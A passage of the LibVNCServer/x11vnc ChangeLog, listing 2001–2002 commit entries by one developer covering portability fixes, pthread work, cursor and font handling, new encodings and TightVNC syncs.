   7973 2002-08-22  dscho <dscho>
   7974 
   7975 	* CHANGES: changes
   7976 
   7977 2002-08-22  dscho <dscho>
   7978 
   7979 	* classes/javaviewer.pseudo_proxy.patch, example.c, httpd.c,
   7980 	main.c, rfb.h: a pseudo HTTP request for tunnelling (also via strict
   7981 	Web Proxy) was added.
   7982 
   7983 2002-08-22  dscho <dscho>
   7984 
   7985 	* classes/index.vnc, httpd.c, vncauth.c: synchronized with tightVNC
   7986 	1.2.5
   7987 
   7988 2002-08-19  dscho <dscho>
   7989 
   7990 	* Makefile, auth.c, cursor.c, example.c, httpd.c, main.c,
   7991 	pnmshow.c, rfb.h, rfbserver.c, sraRegion.c, sraRegion.h, tight.c,
   7992 	vncauth.c: unwarn compilation
   7993 
   7994 2002-07-28  dscho <dscho>
   7995 
   7996 	* CHANGES, README: prepare for version 0.4
   7997 
   7998 2002-07-28  dscho <dscho>
   7999 
   8000 	* CHANGES, classes/index.vnc, example.c, httpd.c, main.c, rfb.h,
   8001 	rfbproto.h, rfbserver.c, stats.c: NewFB encoding added
   8002 
   8003 2002-06-13  dscho <dscho>
   8004 
   8005 	* main.c, rfbserver.c, sockets.c: pthread fix
   8006 
   8007 2002-05-03  dscho <dscho>
   8008 
   8009 	* Makefile, rfb.h: solaris fixes (INADDR_NONE)
   8010 
   8011 2002-05-02  dscho <dscho>
   8012 
   8013 	* selbox.c: index was shadowed
   8014 
   8015 2002-05-02  dscho <dscho>
   8016 
   8017 	* cursor.c, font.c, httpd.c, main.c, rfb.h, rfbserver.c, sockets.c,
   8018 	sraRegion.c, stats.c, tableinit24.c, tight.c, translate.c: Tim's
   8019 	Changes
   8020 
   8021 2002-04-30  dscho <dscho>
   8022 
   8023 	* cargs.c, rfb.h: command line handling
   8024 
   8025 2002-04-30  dscho <dscho>
   8026 
   8027 	* Makefile, mac.c: more mac
   8028 
   8029 2002-04-30  dscho <dscho>
   8030 
   8031 	* mac.c: dimming for mac
   8032 
   8033 2002-04-30  dscho <dscho>
   8034 
   8035 	* mac.c: Mac compile fix
   8036 
   8037 2002-04-25  dscho <dscho>
   8038 
   8039 	* Makefile, x11vnc.c: x11vnc memleaks patched
   8040 
   8041 2002-04-25  dscho <dscho>
   8042 
   8043 	* CHANGES, cursor.c, example.c, main.c, rfbserver.c: memleaks
   8044 	patched
   8045 
   8046 2002-04-25  dscho <dscho>
   8047 
   8048 	* mac.c: now colour handling should be correct
   8049 
   8050 2002-04-24  dscho <dscho>
   8051 
   8052 	* main.c: bug for 3 bpp planes (as Mac OSX)
   8053 
   8054 2002-04-23  dscho <dscho>
   8055 
   8056 	* CHANGES, classes/index.vnc, httpd.c, rfbserver.c, sockets.c: sync
   8057 	with TightVNC 1.2.3
   8058 
   8059 2002-04-23  dscho <dscho>
   8060 
   8061 	* Makefile, mac.c: OSXvnc-server compile fixes
   8062 
   8063 2002-04-23  dscho <dscho>
   8064 
   8065 	* CHANGES, Makefile, rfb.h: another solaris clean compile
   8066 
   8067 2002-04-23  dscho <dscho>
   8068 
   8069 	* x11vnc.c: KBDDEBUG
   8070 
   8071 2002-04-23  dscho <dscho>
   8072 
   8073 	* main.c, rfb.h: solaris endian changes
   8074 
   8075 2002-03-04  dscho <dscho>
   8076 
   8077 	* Makefile, rfbserver.c, sockets.c: reverted exception fds to NULL,
   8078 	because of unexpected behaviour
   8079 
   8080 2002-02-19  dscho <dscho>
   8081 
   8082 	* CHANGES: changes
   8083 
   8084 2002-02-18  dscho <dscho>
   8085 
   8086 	* sockets.c: select exceptfds
   8087 
   8088 2002-02-18  dscho <dscho>
   8089 
   8090 	* README, cursor.c, example.c, httpd.c, main.c, rfb.h, rfbserver.c,
   8091 	sockets.c, tight.c, translate.c: changes from Tim Jansen: threading
   8092 	issues, new client can be rejected, and more
   8093 
   8094 2002-01-17  dscho <dscho>
   8095 
   8096 	* 1instance.c, Makefile: compile warning fix, dependency on
   8097 	1instance.c
   8098 
   8099 2002-01-17  dscho <dscho>
   8100 
   8101 	* mac.c: compile warning fix
   8102 
   8103 2002-01-17  dscho <dscho>
   8104 
   8105 	* font.c, rfb.h, rfbproto.h, rfbserver.c, vncauth.c: correct
   8106 	BackChannel handling, compile cleanups
   8107 
   8108 2002-01-16  dscho <dscho>
   8109 
   8110 	* mac.c: compile fix
   8111 
   8112 2002-01-16  dscho <dscho>
   8113 
   8114 	* 1instance.c, Makefile, cargs.c, mac.c, rfb.h, rfbproto.h,
   8115 	rfbserver.c, x11vnc.c: clean ups and encoding "backchannel"
   8116 
   8117 2002-01-14  dscho <dscho>
   8118 
   8119 	* mac.c: fixed compile on MAC
   8120 
   8121 2002-01-14  dscho <dscho>
   8122 
   8123 	* mac.c: toggle view only with OSX
   8124 
   8125 2002-01-14  dscho <dscho>
   8126 
   8127 	* 1instance.c, x11vnc.c: view mode now toggleable
   8128 
   8129 2001-12-21  dscho <dscho>
   8130 
   8131 	* mac.c, x11vnc.c: shared mode added
   8132 
   8133 2001-12-14  dscho <dscho>
   8134 
   8135 	* cargs.c, main.c: *argc=0 in cargs allowed, when copying area,
   8136 	first undraw cursor ...
   8137 
   8138 2001-12-11  dscho <dscho>
   8139 
   8140 	* mac.c: fixed osx compiling
   8141 
   8142 2001-12-09  dscho <dscho>
   8143 
   8144 	* Makefile, mac.c: Makefile cleanup, some special options for OSX
   8145 
   8146 2001-12-09  dscho <dscho>
   8147 
   8148 	* x11vnc.c: tile modus now near perfect (shm's better though)
   8149 
   8150 2001-12-08  dscho <dscho>
   8151 
   8152 	* x11vnc.c: start to probe single pixels for updates
   8153 
   8154 2001-11-27  dscho <dscho>
   8155 
   8156 	* TODO, x11vnc.c: fixed dumb XTestFakeInput bug
   8157 
   8158 2001-11-27  dscho <dscho>
   8159 
   8160 	* TODO, x11vnc.c: removed XTestGrabControl. Doesn't really solve the
   8161 	problem of a bad param.
   8162 
   8163 2001-11-27  dscho <dscho>
   8164 
   8165 	* TODO, x11vnc.c: few changes
   8166 
   8167 2001-11-27  dscho <dscho>
   8168 
   8169 	* Makefile, x11vnc.c: input works on other X11 servers than XFree86
   8170 
   8171 2001-11-26  dscho <dscho>
   8172 
   8173 	* TODO, x11vnc.c: no crash when display was wrong
   8174 
   8175 2001-11-26  dscho <dscho>
   8176 
   8177 	* TODO: todo
   8178 
   8179 2001-11-25  dscho <dscho>
   8180 
   8181 	* x11vnc.c: init keyboard now takes correct display
   8182 
   8183 2001-11-23  dscho <dscho>
   8184 
   8185 	* x11vnc.c: keyboard handling now works.
   8186 
   8187 2001-11-22  dscho <dscho>
   8188 
   8189 	* x11vnc.c: added cmd line parameters
   8190 
   8191 2001-11-21  dscho <dscho>
   8192 
   8193 	* CHANGES: changes
   8194 
   8195 2001-11-20  dscho <dscho>
   8196 
   8197 	* x11vnc.c: shm works again
   8198 
   8199 2001-11-20  dscho <dscho>
   8200 
   8201 	* Makefile, x11vnc.c: missing include for XTest
   8202 
   8203 2001-11-19  dscho <dscho>
   8204 
   8205 	* x11vnc.c: x11vnc now works with colour maps
   8206 
   8207 2001-11-19  dscho <dscho>
   8208 
   8209 	* x11vnc.c: tmp
   8210 
   8211 2001-11-19  dscho <dscho>
   8212 
   8213 	* x11vnc.c: first support for colourmaps
   8214 
   8215 2001-11-19  dscho <dscho>
   8216 
   8217 	* Makefile, x11vnc.c: works, but loads high
   8218 
   8219 2001-11-19  dscho <dscho>
   8220 
   8221 	* cargs.c, main.c, rfb.h: cmdline arg -passwd added
   8222 
   8223 2001-11-19  dscho <dscho>
   8224 
   8225 	* Makefile, x11vnc.c: x11vnc now works view only and with SHM
   8226 
   8227 2001-11-18  dscho <dscho>
   8228 
   8229 	* Makefile, example.c, main.c, rfb.h, rfbserver.c, x11vnc.c: start
   8230 	x11vnc, an x0rfbserver clone
   8231 
   8232 2001-11-15  dscho <dscho>
   8233 
   8234 	* example.dsp, libvncserver.dsp, libvncserver.dsw, main.c, rfb.h,
   8235 	rfbserver.c, sockets.c: Visual C++ / win32 compatibility
   8236 	reestablished
   8237 
   8238 2001-11-14  dscho <dscho>
   8239 
   8240 	* Makefile, TODO, font.c: docu, warning fixed
   8241 
   8242 2001-11-14  dscho <dscho>
   8243 
   8244 	* CHANGES: changes
   8245 
   8246 2001-11-14  dscho <dscho>
   8247 
   8248 	* cargs.c: separated argument handling from main.c
   8249 
   8250 2001-11-14  dscho <dscho>
   8251 
   8252 	* Makefile, d3des.h, example.c, fontsel.c, keysym.h, mac.c, main.c,
   8253 	pnmshow.c, pnmshow24.c, rfb.h, rfbproto.h, sraRegion.h, vncev.c,
   8254 	zippy.c: changes from Justin, zippy added
   8255 
   8256 2001-11-08  dscho <dscho>
   8257 
   8258 	* main.c: gettimeofday for windows
   8259 
   8260 2001-10-25  dscho <dscho>
   8261 
   8262 	* Makefile, main.c, rfbserver.c, sraRegion.c, sraRegion.h: clean ups
   8263 
   8264 2001-10-19  dscho <dscho>
   8265 
   8266 	* CHANGES: changes
   8267 
   8268 2001-10-18  dscho <dscho>
   8269 
   8270 	* Makefile, TODO, draw.c, main.c, rfb.h, vncev.c: add rfbDrawLine,
   8271 	rfbDrawPixel and vncev, an xev "lookalike"
   8272 
   8273 2001-10-16  dscho <dscho>
   8274 
   8275 	* main.c: scheduleCopyRegion no longer sends frameBufferUpdates (no
   8276 	longer clobbers deferring)
   8277 
   8278 2001-10-16  dscho <dscho>
   8279 
   8280 	* CHANGES, TODO, main.c, rfb.h, rfbserver.c: deferUpdate
   8281 
   8282 2001-10-16  dscho <dscho>
   8283 
   8284 	* TODO, font.c, rfbserver.c: font errors, requestedRegion bug
   8285 
   8286 2001-10-15  dscho <dscho>
   8287 
   8288 	* .gdb_history: unneccessary file
   8289 
   8290 2001-10-13  dscho <dscho>
   8291 
   8292 	* font.c: INT_MAX maybe not defined
   8293 
   8294 2001-10-13  dscho <dscho>
   8295 
   8296 	* TODO: todo
   8297 
   8298 2001-10-13  dscho <dscho>
   8299 
   8300 	* CHANGES, Makefile, README, TODO, auth.c, bdf2c.pl,
   8301 	consolefont2c.pl, cursor.c, default8x16.h, draw.c, font.c,
   8302 	fontsel.c, keysym.h, main.c, radon.h, rfb.h, selbox.c: rfbSelectBox,
   8303 	consoleFonts, too many changes
   8304 
   8305 2001-10-12  dscho <dscho>
   8306 
   8307 	* Makefile: changes to Makefile
   8308 
   8309 2001-10-12  dscho <dscho>
   8310 
   8311 	* README, rfb.h, rfbserver.c: cleanups
   8312 
   8313 2001-10-11  dscho <dscho>
   8314 
   8315 	* auth.c, corre.c, httpd.c, main.c, rfb.h, rfbserver.c, rre.c,
   8316 	sockets.c, sraRegion.c, tableinit24.c, tableinittctemplate.c,
   8317 	tight.c, zlib.c: replaced xalloc with malloc functions, udp input
   8318 	support (untested), fixed http
   8319 
   8320 2001-10-10  dscho <dscho>
   8321 
   8322 	* CHANGES, TODO, main.c, rfb.h, rfbserver.c: copyrect corrections,
   8323 	fd_set in rfbNewClient, dox in rfb.h for pthreads problem
   8324 
   8325 2001-10-10  dscho <dscho>
   8326 
   8327 	* Makefile, cursor.c, main.c, rfb.h, rfbserver.c, sockets.c: 
   8328 	pthreads corrections
   8329 
   8330 2001-10-09  dscho <dscho>
   8331 
   8332 	* sockets.c: start udp
   8333 
   8334 2001-10-08  dscho <dscho>
   8335 
   8336 	* Makefile, region.h, rfbserver.c: removes region.h
   8337 
   8338 2001-10-07  dscho <dscho>
   8339 
   8340 	* Makefile, README, tabletrans24template.c: fixed 24bit (update was
   8341 	garbled)
   8342 
   8343 2001-10-07  dscho <dscho>
   8344 
   8345 	* bdf2c.pl, font.c, main.c, rfb.h, rfbserver.c: font corrections,
   8346 	displayHook
   8347 
   8348 2001-10-06  dscho <dscho>
   8349 
   8350 	* README, d3des.c, example.c, example.dsp, httpd.c, kbdptr.c,
   8351 	libvncserver.dsp, libvncserver.dsw, main.c, rfb.h, rfbserver.c,
   8352 	sockets.c, tableinitcmtemplate.c, tight.c, translate.c, vncauth.c: 
   8353 	WIN32 compatibility, removed kbdptr.c
   8354 
   8355 2001-10-05  dscho <dscho>
   8356 
   8357 	* CHANGES, TODO, cursor.c, example.c, main.c, rfb.h, rfbserver.c: 
   8358 	changed cursor functions to use screen info, not cursor fixed copy
   8359 	rect.
   8360 
   8361 2001-10-05  dscho <dscho>
   8362 
   8363 	* Makefile, bdf2c.pl, example.c, font.c, radon.h, rfb.h: extracted
   8364 	font routines from example
   8365 
   8366 2001-10-04  dscho <dscho>
   8367 
   8368 	* CHANGES, Makefile, TODO, main.c, rfb.h, rfbserver.c: 
   8369 	rfbDoCopyRect/Region and rfbScheduleCopyRect/Region.
   8370 
   8371 2001-10-04  dscho <dscho>
   8372 
   8373 	* rfb.h: tried to compile on Sparcs. Original cc has problems. ar
   8374 	isn't there.
   8375 
   8376 2001-10-04  dscho <dscho>
   8377 
   8378 	* CHANGES, TODO, cursor.c, main.c, rfb.h, rfbserver.c: fixed 2
   8379 	pthreads issues, added noXCursor option.
   8380 
   8381 2001-10-03  dscho <dscho>
   8382 
   8383 	* TODO, main.c: working on IRIX pthreads problem
   8384 
   8385 2001-10-03  dscho <dscho>
   8386 
   8387 	* TODO, rfbserver.c: java viewer bug fixed
   8388 
   8389 2001-10-03  dscho <dscho>
   8390 
   8391 	* CHANGES, Makefile, TODO, main.c, rfb.h, rfbserver.c, sockets.c,
   8392 	stats.c, tight.c: upgraded to TridiaVNC 1.2.1
   8393 
   8394 2001-10-02  dscho <dscho>
   8395 
   8396 	* Makefile, TODO, cursor.c, d3des.c, main.c, rfb.h, rfbserver.c,
   8397 	sockets.c, translate.c, vncauth.c: no more compile warnings, pthread
   8398 	final(?) fixes
   8399 
   8400 2001-10-02  dscho <dscho>
   8401 
   8402 	* TODO: some todo items
   8403 
   8404 2001-10-02  dscho <dscho>
   8405 
   8406 	* CHANGES, cursor.c, rfb.h: implemented rfbSetCursor
   8407 
   8408 2001-10-02  dscho <dscho>
   8409 
   8410 	* rfb.h: prototype for rfbSendBell
   8411 
   8412 2001-10-02  dscho <dscho>
   8413 
   8414 	* CHANGES: changes
   8415 
   8416 2001-10-02  dscho <dscho>
   8417 
   8418 	* pnmshow24.c, tableinit24.c, tabletrans24template.c: forgot files
   8419 	for 3 bpp
   8420 
   8421 2001-10-02  dscho <dscho>
   8422 
   8423 	* Makefile, README, TODO, example.c, main.c, rfb.h, rfbserver.c,
   8424 	sockets.c, tableinitcmtemplate.c, translate.c: support for server
   8425 	side colour maps, fix for non-pthread, support for 3bpp
   8426 
   8427 2001-10-01  dscho <dscho>
   8428 
   8429 	* TODO: have to upgrade to newest VNC sources
   8430 
   8431 2001-09-29  dscho <dscho>
   8432 
   8433 	* Makefile, README, TODO, example.c, main.c, rfb.h, rfbserver.c,
   8434 	sockets.c: finally fixed pthreads
   8435 
   8436 2001-09-29  dscho <dscho>
   8437 
   8438 	* TODO, cursor.c: nother try
   8439 
   8440 2001-09-29  dscho <dscho>
   8441 
   8442 	* Makefile, cursor.c, main.c, rfb.h, rfbserver.c, sockets.c: more
   8443 	pthread debugging
   8444 
   8445 2001-09-29  dscho <dscho>
   8446 
   8447 	* Makefile, main.c, rfb.h: cleaned up pthreads (now compiles) and
   8448 	rfb.h (first undefine TRUE)
   8449 
   8450 2001-09-29  dscho <dscho>
   8451 
   8452 	* Makefile, README, TODO, include/X11/X.h, include/X11/Xalloca.h,
   8453 	include/X11/Xfuncproto.h, include/X11/Xfuncs.h, include/X11/Xmd.h,
   8454 	include/X11/Xos.h, include/X11/Xosdefs.h, include/X11/Xproto.h,
   8455 	include/X11/Xprotostr.h, include/X11/keysym.h,
   8456 	include/X11/keysymdef.h, include/Xserver/colormap.h,
   8457 	include/Xserver/cursor.h, include/Xserver/dix.h,
   8458 	include/Xserver/gc.h, include/Xserver/input.h,
   8459 	include/Xserver/misc.h, include/Xserver/miscstruct.h,
   8460 	include/Xserver/opaque.h, include/Xserver/os.h,
   8461 	include/Xserver/pixmap.h, include/Xserver/region.h,
   8462 	include/Xserver/regionstr.h, include/Xserver/screenint.h,
   8463 	include/Xserver/scrnintstr.h, include/Xserver/validate.h,
   8464 	include/Xserver/window.h, main.c, miregion.c, region.h, rfb.h,
   8465 	rfbserver.c, sraRegion.c, sraRegion.h, translate.c, xalloc.c: 
   8466 	dropped miregion and all the X stuff in favour of Wez' sraRegion,
   8467 	added dox
   8468 
   8469 2001-09-28  dscho <dscho>
   8470 
   8471 	* cursor.c, rfb.h: exported rfbReverseByte
   8472 
   8473 2001-09-28  dscho <dscho>
   8474 
   8475 	* cursor.c: don't send a cursor update if there is no cursor
   8476 
   8477 2001-09-28  dscho <dscho>
   8478 
   8479 	* README, TODO: small changes to README (contact) and TODO
   8480 	(autoconf?)
   8481 
   8482 2001-09-28  dscho <dscho>
   8483 
   8484 	* Makefile: libvncserver.a is not deleted by make clean
   8485 
   8486 2001-09-28  dscho <dscho>
   8487 
   8488 	* example.c: unnecessary include
   8489 
   8490 2001-09-28  dscho <dscho>
   8491 
   8492 	* Makefile, example.c, rfb.h: now compiles on FreeBSD
   8493 
   8494 2001-09-28  dscho <dscho>
   8495 
   8496 	* Makefile: make clean now cleans mac.o pnmshow.o and example.o
   8497 
   8498 2001-09-27  dscho <dscho>
   8499 
   8500 	* README, cursor.c, main.c, rfb.h, rfbserver.c: added
   8501 	setTranslateFunction as member of rfbScreenInfo, cursor may be NULL
   8502 	(no cursor).
   8503 
   8504 2001-09-27  dscho <dscho>
   8505 
   8506 	* Makefile, mac.c, rfb.h: try to make OSXvnc run again.
   8507 
   8508 2001-09-27  dscho <dscho>
   8509 
   8510 	* README, TODO, example.c, main.c, rfb.h: docu and cursors in
   8511 	examples.
   8512 
   8513 2001-09-26  dscho <dscho>
   8514 
   8515 	* Makefile, README, TODO, example.c, httpd.c, main.c, pnmshow.c,
   8516 	rfb.h: API corrections
   8517 
   8518 2001-09-26  dscho <dscho>
   8519 
   8520 	* TODO, main.c, pnmshow.c: adapted pnmshow to aligned width
   8521 
   8522 2001-09-25  dscho <dscho>
   8523 
   8524 	* example.c, tabletranstemplate.c: look for align bug with odd
   8525 	width. Bug in vncviewer?
   8526 
   8527 2001-09-25  dscho <dscho>
   8528 
   8529 	* d3des.c, d3des.h, libvncauth/Imakefile, libvncauth/Makefile,
   8530 	libvncauth/d3des.c, libvncauth/d3des.h, libvncauth/vncauth.c,
   8531 	libvncauth/vncauth.h, vncauth.c: permanently moved authorization
   8532 
   8533 2001-09-25  dscho <dscho>
   8534 
   8535 	* Makefile, rfb.h, storepasswd.c: moved vncauth to libvncserver
   8536 
   8537 2001-09-25  dscho <dscho>
   8538 
   8539 	* .depend: rmoved unneccessary files
   8540 
   8541 2001-09-25  dscho <dscho>
   8542 
   8543 	* Makefile, TODO, cursor.c, example.c, keysym.h, main.c, pnmshow.c,
   8544 	region.h, rfb.h, rfbserver.c: fix cursor bug; missing keysym; fix
   8545 	align problem on SGI; clean up cursor.c clean up rfb.h a bit; endian
   8546 	issues
   8547 
   8548 2001-09-24  dscho <dscho>
   8549 
   8550 	* region.h: forgot file
   8551 
   8552 2001-09-24  dscho <dscho>
   8553 
   8554 	* Makefile, TODO, cursor.c, example.c, include/Xserver/os.h,
   8555 	main.c, miregion.c, pnmshow.c, rfb.h, rfbserver.c, sockets.c,
   8556 	xalloc.c: bugfix: cursor (works now without xcursor encoding)
   8557 
   8558 2001-09-24  dscho <dscho>
   8559 
   8560 	* cursor.c, example.c, main.c, rfb.h, rfbserver.c: cursor changes
   8561 
   8562 2001-09-23  dscho <dscho>
   8563 
   8564 	* Makefile, README, TODO, cursor.c, example.c, httpd.c, main.c,
   8565 	rfb.h, rfbserver.c, sockets.c, zlib.c: cleaned up warnings, cursor
   8566 	changes
   8567 
   8568 2001-09-21  dscho <dscho>
   8569 
   8570 	* Makefile, classes/index.vnc, cursor.c, example.c, httpd.c,
   8571 	main.c, rfb.h: http added, prepare for cursor
   8572 
   8573 2001-09-20  dscho <dscho>
   8574 
   8575 	* README: changed README at last
   8576 
   8577 2001-09-13  dscho <dscho>
   8578 
   8579 	* Makefile, bdf2c.pl, example.c, radon.h: Now you can write
   8580 	something in addition to mouse movements ...
   8581 
   8582 2001-08-14  dscho <dscho>
   8583 
   8584 	* Makefile, example.c, main.c, pnmshow.c: comments & new example:
   8585 	pnmshow
   8586 
   8587 2001-08-14  dscho <dscho>
   8588 
   8589 	* example.c, main.c, rfb.h: now lines are drawn for the example,
   8590 	first steps to make clients independent.
   8591 
   8592 2001-08-14  dscho <dscho>
   8593 
   8594 	* Makefile, example.c, main.c, rfb.h, rfbserver.c: hooks inserted
   8595 
   8596 2001-08-01  dscho <dscho>
   8597 
   8598 	* Initial revision
   8599 
   8600